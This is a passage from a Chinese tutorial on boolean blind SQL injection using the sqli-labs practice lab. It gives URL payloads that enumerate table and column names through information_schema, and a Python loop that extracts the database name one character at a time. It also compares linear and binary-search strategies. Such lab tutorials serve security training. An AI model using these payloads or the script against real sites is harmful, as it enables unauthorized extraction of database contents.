SQL 注入布尔盲注完整流程与 Python 脚本实现

在 MySQL 中，ascii('s') = 115，ascii('e') = 101，依此类推，逐位确认后拼出完整库名 security。

第四步：爆破表名

库名已知，下一步是枚举库中的表名。需要引入 information_schema 这张 MySQL 的 "数据字典"：

-- 取 security 库中第一张表，检查表名第一个字符
?id=1' and (select ascii(substr( (select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)))<115--+

limit 0,1 表示取第一条结果，改为 limit 1,1 则取第二张表，以此类推枚举所有表。

第五步：爆破字段名与数据

思路完全一致，只是查询目标换成 information_schema.columns，最后再直接查目标表的数据。完整攻击链路可以归纳为：

库名 → 表名 → 字段名 → 字段数据

每一步都是对上一步结果的细化，结构清晰、方法统一。

Python 脚本：bool.py 线性枚举版

脚本思路

与二分查找不同，bool.py 采用线性枚举策略：对每个字符位置，从 ASCII 32 到 126 逐个试探，直到找到匹配的字符。虽然每个字符最多需要发送 95 次请求，但逻辑最直观，便于初学者理解和调试。

脚本核心逻辑如下：

for i in range(1, 9):  # 遍历字符串的第 1~8 位
    for j in range(32, 127):  # 遍历所有可打印 ASCII 字符
        payload = "?id=1' and ascii(substr(database(),%d,1))=%d --+" % (i, j)
        res = requests.get(url + payload)
        if "You are in..........." in res.text:
            db_name += chr(j)  # 命中，追加字符
            break  # 当前位已找到，跳出内层循环

每轮内层循环一旦命中目标字符，即可 break 跳出，继续下一位的枚举。

两种策略的对比

对于一个 8 位库名，线性版最多发送 760 次请求，二分版只需约 56 次。字段数据往往更长，此时二分查找的优势会更加显著。

关键知识点小结

为什么用 ASCII 码而不直接比较字符？

SQL 中直接比较字符串（如 substr(...)='s'）存在大小写不敏感等问题，而 ascii() 返回的是整数，比较结果唯一确定，更加可靠。

information_schema 是什么？

这是 MySQL 内置的元数据库，存储了所有数据库、表、字段的结构信息。只要有查询权限，就可以通过它枚举整个数据库的 "目录"，这也是 SQL 注入能够获取任意数据的关键所在。

substr 与 substring 的区别？

两者完全等价，substr(str, pos, len) 从第 pos 位（从 1 开始）截取 len 个字符。在构造 payload 时可以互换使用。

完整代码与后续

bool.py 与 bool1.py（二分查找版）脚本均已上传至 GitHub，可配合本地搭建的 sqli-labs 靶场直接运行练习。

脚本源码：https://github.com/aqirompt/sqli-labs-bool

免责声明：本文内容仅供授权环境下的安全学习与研究，请勿将相关技术用于任何未经授权的系统。